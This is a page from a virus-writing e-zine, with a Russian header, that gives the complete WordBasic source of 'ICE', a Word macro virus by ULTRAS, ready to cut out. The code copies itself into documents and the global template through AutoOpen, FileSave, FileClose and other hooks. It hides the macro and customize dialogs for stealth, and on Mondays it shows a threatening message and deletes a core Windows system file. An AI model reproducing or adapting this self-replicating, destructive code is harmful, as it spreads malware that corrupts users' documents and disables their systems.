- [Duke's Virus Labs #7] - [Page 19] -

Macro.Word.Ultras.Ice
(c) by ULTRAS

Имя вируса    : Word.Macro.ICE aka Macro.Word.Ultras.Ice
Автор         : ULTRAS
Язык прогр.   : WordBasic
Дата создания : начало 1998 года
Реакция AV    : AVP  -  Macro.Word.Ultras.Ice

   Полный стелс, заражает при открытии, закрытии, сохранении и т.д.

===== Cut here =====
Макрос AutoOpen
~~~~~~~~~~~~~~~
Sub MAIN
On Error Resume Next
ICE.Infect
End Sub

Макрос ICE
~~~~~~~~~~
Sub MAIN
'     =ICE=
End Sub
Dim Shared ICEMacros
Dim Shared Macros$(9)
Sub Infect
On Error Goto Infect
DisableInput 1
DisableAutoMacros 0
VirMacros
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1, .AutoSave = 1, .SaveInterval = "10"
For x = 1 To ICEMacros
MacroCopy "Global:" + Macros$(x - 1), WindowName$() + ":" + Macros$(x - 1), 1
Next x
Goto ULTRAS
Infect:
End Sub
Sub ToLMac
On Error Goto TM
ScreenUpdating
FileNew
Dim dlg As ToolsMacro
GetCurValues dlg
Dialog dlg
FileClose 2
ScreenUpdating
ToolsMacro dlg
TM:
End Sub
Sub ToLCos
On Error Goto TC
ScreenUpdating
FileNew
Dim dlg As ToolsCustomize
GetCurValues dlg
Dialog dlg
FileClose 2
ScreenUpdating
ToolsCustomize dlg
TC:
End Sub
Sub VirMacros
On Error Resume Next
Let ICEMacros = 10
Let Macros$(0) = "ICE"
Let Macros$(1) = "AutoOpen"
Let Macros$(2) = "AutoClose"
Let Macros$(3) = "AutoExec"
Let Macros$(4) = "FileClose"
Let Macros$(5) = "FileNew"
Let Macros$(6) = "FileSave"
Let Macros$(7) = "ToolsMacro"
Let Macros$(8) = "ToolsCustomize"
Let Macros$(9) = "FileTemplates"
End Sub
Sub ULTRAS
On Error Resume Next
If Minute(Now()) = 33 Then Insert "= ICE =  Written by ULTRAS"
If Weekday(Now()) = 2 Then
MsgBox " Hello user your computer is infected by ICE virus." + Chr$(13) + \
       " Through several seconds your system will be destroyed." + Chr$(13)  + Chr$(13) + \
       " Written by ULTRAS", "ULTRAS...", 16
SetAttr "c:\windows\System\vmm32.vxd", 0
Kill "c:\windows\System\vmm32.vxd"
End If
End Sub

Макрос FileNew
~~~~~~~~~~~~~~
Sub MAIN
On Error Resume Next
Dim dlg As FileNew
GetCurValues dlg
Dialog dlg
FileNew dlg
ICE.Infect
End Sub

Макрос AutoExec
~~~~~~~~~~~~~~~
Sub MAIN
DisableAutoMacros
End Sub

Макрос FileSave
~~~~~~~~~~~~~~~
Sub MAIN
On Error Resume Next
ICE.Infect
FileSave
End Sub

Макрос AutoClose
~~~~~~~~~~~~~~~~
Sub MAIN
On Error Resume Next
ICE.Infect
End Sub

Макрос FileClose
~~~~~~~~~~~~~~~~
Sub MAIN
On Error Resume Next
Beep
ICE.Infect
End Sub

Макрос ToolsCustomize
~~~~~~~~~~~~~~~~~~~~~
Sub MAIN
On Error Resume Next
ICE.ToLCos
End Sub

Макрос ToolsMacro
~~~~~~~~~~~~~~~~~
Sub MAIN
On Error Resume Next
ICE.ToLMac
End Sub
===== Cut here =====